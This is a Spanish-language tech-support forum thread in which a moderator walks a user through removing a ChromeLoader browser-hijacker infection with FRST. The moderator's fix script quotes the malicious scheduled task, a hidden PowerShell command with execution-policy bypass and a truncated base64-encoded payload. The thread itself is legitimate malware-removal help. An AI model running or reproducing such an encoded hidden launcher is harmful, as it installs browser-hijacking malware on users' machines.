Reinicio inesperado de Windows debido a PowerShell

Resuelto/Cerrado
Snake.Eater -  
bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   -
Hola, conozco exactamente el mismo problema.
¿Sería posible recibir ayuda? gracias

He hecho un análisis con FRST.
Sin embargo, confieso que estoy perdido en los siguientes pasos a seguir.

Configuración: Windows / Chrome 97.0.4692.99

6 respuestas

  1. bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   20 268
     
    Hola,
    Descarga FRST, una vez descargado guárdalo en el escritorio, luego haz clic derecho sobre FRST y elige Ejecutar como administrador. Verás esto:

    Haz clic en Analizar

    Atención, espera a que se muestren los mensajes que dicen que el análisis ha terminado



    Al final del análisis tendrás dos archivos de texto en el escritorio: FRST y Addition

    Luego envía los informes FRST y ADDITION a CJOINT, consulta ESTE TUTORIAL y luego proporciona los dos enlaces generados por Cjoint en tu respuesta.

    bazfile
    Moderador/Colaborador de seguridad.
    Un saludo, una respuesta, un agradecimiento siempre son bien recibidos.
    0
  2. bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   20 268
     
    Procedimiento a realizar en el orden indicado:
    1- Abre FRST como administrador, para ello haz clic derecho sobre FRST y elige ejecutar como administrador
    2 - Copia el script completo que está en el cuadro que sigue:
    Start::
    CreateRestorePoint:
    CloseProcesses:
    HKLM\...\Run: [] => [X]
    HKLM-x32\...\Run: [] => [X]
    HKLM Restricción de política de grupo sobre software: %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
    HKLM Restricción de política de grupo sobre software: %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
    GroupPolicy: Restricción ?
    HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restricción
    HKLM\SOFTWARE\Policies\Google: Restricción
    Tarea: {253BC353-4705-4744-93F5-A80CD590F9F2} - \ChromeChecker -> No hay archivo
    Tarea: {58636649-8490-4B13-A840-5F263B4D3AE6} - System32\Tasks\ChromeUpdater => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (el elemento de datos tiene 4315 caracteres adicionales).
    CHR StartupUrls: Predeterminado -> "hxxp://www.t411.me/"
    Tarea: {6069F6B5-1513-428D-B05E-49574CE64BB4} - \ChromeChecker -> No hay archivo
    Tarea: {8A00D84D-9A38-431E-AA70-D8C587E355FF} - \ChromeLoader -> No hay archivo
    C:\Windows\system32\Tasks\ChromeUpdater
    FirewallRules: [TCP Query User{5DF2606E-0341-4E2B-B35E-73205C574B05}D:\games\the forest\theforest.exe] => (Permitir) D:\games\the forest\theforest.exe => No hay archivo
    FirewallRules: [UDP Query User{6352E93B-F278-4F0B-9A56-95BC4E2352FB}D:\games\the forest\theforest.exe] => (Permitir) D:\games\the forest\theforest.exe => No hay archivo
    FirewallRules: [TCP Query User{53BFFB89-0652-47F4-A264-EA9828C47E28}D:0\flightsimulator.exe] => (Permitir) D:0\flightsimulator.exe => No hay archivo
    FirewallRules: [UDP Query User{51A014B8-4B00-4687-8F16-865C1515ACF7}D:0\flightsimulator.exe] => (Permitir) D:0\flightsimulator.exe => No hay archivo
    FirewallRules: [TCP Query User{7075C3CA-56C7-4BB7-8FC1-5527AF6451FA}D:7\forzahorizon5.exe] => (Permitir) D:7\forzahorizon5.exe => No hay archivo
    FirewallRules: [UDP Query User{E8FD98A9-7931-4A5A-B974-6BB1BD274442}D:7\forzahorizon5.exe] => (Permitir) D:7\forzahorizon5.exe => No hay archivo
    FirewallRules: [TCP Query User{24768A3C-178A-4210-94FB-7332FFB87FE7}D:9\haloinfinite.exe] => (Permitir) D:9\haloinfinite.exe => No hay archivo
    FirewallRules: [UDP Query User{06A578E9-C1B6-4BA2-90BE-2F006BAC3192}D:9\haloinfinite.exe] => (Permitir) D:9\haloinfinite.exe => No hay archivo
    EmptyTemp:
    End::

    3- Una vez copiado el script, haz clic en Corregir, FRST tomará automáticamente el script que está en el portapapeles.



    Deja que la corrección se realice; una vez que haya terminado, se te pedirá que reinicies tu pc, hazlo tan pronto como se te solicite, ve a continuación.

    IUna vez que tu ordenador se haya reiniciado:

    4- Tendrás un archivo Fixlog en tu escritorio, luego envía estos informes a https://www.cjoint.com/ ver este tutorial, luego da el enlace generado por Cjoint en tu próximo mensaje.

    IMPORTANTE:

    5- Restablece Google Chrome con ESTE SOFTWARE.
    Luego:

    6- VERIFICA Y DIME SI TU PROBLEMA SIGUE PRESENTE

    .

    bazfile
    Moderador/Contribuyente de seguridad.
    un saludo, una respuesta, un agradecimiento siempre son bienvenidos.
    0
  3. Snake.Eater
     
    Una vez más, muchas gracias por esta rápida respuesta.
    Aquí está el enlace para el fixlog: https://www.cjoint.com/c/LAxn1uYsdiV

    Voy a reiniciar Chrome y ver si el problema persiste.

    Les informaré.
    0
    1. bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   20 268
       
      El fixlog está OK, la tarea programada responsable de tus problemas ha sido eliminada.
      1
      1. Snake.Eater > bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención  
         
        ¡Sinceramente, ustedes son geniales!
        Me parece que el problema está bien resuelto.
        De hecho, solo por mi información personal, ¿cuál fue la fuente del problema?

        ¡Otra vez muchas gracias, por fin podré jugar sin volverme loco ^^!
        0
      2. bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   20 268 > Snake.Eater
         
        En tu PC se puede ver que esta infección ya ha estado presente y ha sido eliminada en 3 ocasiones:
        Tarea: {6069F6B5-1513-428D-B05E-49574CE64BB4} - \ChromeChecker -> Sin archivo 
        Tarea: {8A00D84D-9A38-431E-AA70-D8C587E355FF} - \ChromeLoader -> Sin archivo
        Tarea: {253BC353-4705-4744-93F5-A80CD590F9F2} - \ChromeChecker -> Sin archivo


        Esta infección, que apareció a finales de 2021, generalmente está presente en los ordenadores de jugadores, llega a través de juegos pirateados descargados via torrents, también llega a través de sitios de streaming, así que ten cuidado con lo que descargas.

        Consulta ESTA PÁGINA.

        Puedes desinstalar FRST, cambia el nombre del archivo FRST que descargaste, renómbralo a uninstall, luego una vez renombrado, ábrelo, la desinstalación se realizará automáticamente mediante un reinicio del PC.
        0
  4. Snake.Eater
     
    De acuerdo, gracias.
    Es raro, porque pedí mi PC por internet a través de un sitio que ofrecía montarlo (agando), fue a principios de diciembre.

    Lo recibí la primera semana de enero, y siempre he tenido este problema. Además, no he pirateado ningún juego ni he estado en sitios de streaming.

    Sí, había visto eso en el post que me condujo a ustedes.

    Buena continuación y sinceramente me quedé sin ideas frente a mi problema.
    Gracias por tomarte el tiempo de responderme y ayudarme.
    0
    1. bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   20 268
       
      De nada.
      ¡Hasta luego en CCM!
      1
    1. MisteryBean Mensajes publicados 8948 Fecha de registro   Estado Moderador Última intervención   1 292
       

      Hola

      ¡Crea tu propio tema con Hola, ¡será mejor!!!!!
      0
      1. bazfile Mensajes publicados 58492 Fecha de registro   Estado Moderador Última intervención   20 268 > MisteryBean Mensajes publicados 8948 Fecha de registro   Estado Moderador Última intervención  
         
        0